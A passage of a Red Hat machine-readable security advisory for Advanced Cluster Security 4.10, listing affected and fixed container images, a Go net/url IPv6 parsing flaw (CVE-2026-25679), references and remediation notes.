"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization"
},
{
"cve": "CVE-2026-25679",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
},
"discovery_date": "2026-03-06T22:02:11.567841+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2445356"
}
],
"notes": [
{
"category": "description",
"text": "The Go standard library function net/url.Parse insufficiently validated the host/authority component and accepted some invalid URLs by effectively treating garbage before an IP-literal as ignorable. The function should have rejected this as invalid.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "net/url: Incorrect parsing of IPv6 host literals in net/url",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-25679"
},
{
"category": "external",
"summary": "RHBZ#2445356",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445356"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-25679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-25679",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25679"
},
{
"category": "external",
"summary": "https://go.dev/cl/752180",
"url": "https://go.dev/cl/752180"
},
{
"category": "external",
"summary": "https://go.dev/issue/77578",
"url": "https://go.dev/issue/77578"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/EdhZqrQ98hk",
"url": "https://groups.google.com/g/golang-announce/c/EdhZqrQ98hk"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4601",
"url": "https://pkg.go.dev/vuln/GO-2026-4601"
}
],
"release_date": "2026-03-06T21:28:14.211000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
